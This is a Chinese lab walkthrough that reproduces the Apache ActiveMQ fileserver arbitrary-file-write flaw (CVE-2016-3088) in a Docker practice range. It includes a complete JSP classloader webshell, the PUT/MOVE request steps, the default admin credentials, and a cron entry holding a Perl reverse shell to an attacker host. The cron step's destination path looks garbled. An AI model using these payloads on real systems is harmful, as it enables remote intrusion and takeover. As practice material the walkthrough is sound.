一、漏洞描述
1、漏洞编号:CVE-2016-3088
2、影响版本:Apache ActiveMQ 5.x~5.13.0
在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后,彻底删除了 fileserver 应用
二、漏洞介绍
该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。
写入文件方法
写入 webshell
写入 cron 或 ssh key 等文件
写入 jar 或 jetty.xml 等库和配置文件
三、靶场相关操作
在相应的文件夹位置打开终端后进行如下操作
运行此靶场
sudo docker-compose up -d
查看启动环境
sudo docker ps
关闭此靶场环境
sudo docker-compose down
四、登录网页

看到了版本信息

五、漏洞复现
方法一:写入 webshell
1)条件收集
1、需要知道 ActiveMQ 的绝对路径
ActiveMQ 的绝对路径可以通过
页面获取,不过该页面需要登录才能访问。

2、需要能登录 admin 或者 api
获取用户名和密码,可以通过弱口令、暴力破解、社工等方法
这里默认的登录账号密码都是
admin
2)抓包上传webshell
需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell
下面是刚抓到包后的样子

下面是jsp webshell的代码
java
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
接下来对数据包进行修改
将get 变为post然后再上传jsp webshell

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加
Destination: ++++file:///opt/activemq/webapps/admin/1.jsp++++

接下来就可以使用蚁剑进行连接了

注意还需要添加请求头
页面段查看请求头
重点是记住 admin 应用 是需要登录的 ,所以记得一定要在连接中 添加 Authorization 头。

蚁剑添加http请求头

可以查看etc/passwd

方法二:写入 cron 拿反弹 shell
1)条件收集
**1、**需要运行 ActiveMQ 的用户有 root 权限

**2、**服务器开启了 cron 服务
docker container ps //查看容器id
容器id: 6261b17bd033

docker exec -it 容器id /bin/bash
当你运行 docker exec -it 容器id /bin/bash 时,你实际上是在告诉 Docker:"我要在指定的容器内启动一个交互式的 Bash shell
docker exec -it 6261b17bd033 /bin/bash

**3、**运行 ActiveMQ 的用户有使用 crontab 的权限
第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在 vulhub 提供的漏洞环境中不存在。
cron知识简述
**1、**cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。
**2、**标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端口,而目标设备作为客户端主动连接攻击者
应用场景:**①、**目标机在局域网内
**②、**目标机 ip 地址是动态的
**③、**有防火墙等限制,目标机只能发请求,不能收请求
**④、**不确定目标机何时具备连接条件
2)抓包上传webshell
1、上传 cron 文件到 fileserver

反弹 shell 内容:
注意添加攻击机的ip和想要监听的端口
bash
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
2、把 cron 文件从 fileserver 移动到 /etc/cron.d/
这步忘记截图了,方法和法一的一样GET改换为MOVE
Destination: ++++file:///opt/activemq/webapps/admin/++++ ++++cron1.txt++++
2、攻击机上开启监听并等待反弹 shell 连接
注意哦!!!操作完记得关闭靶场
关闭此靶场环境
sudo docker-compose down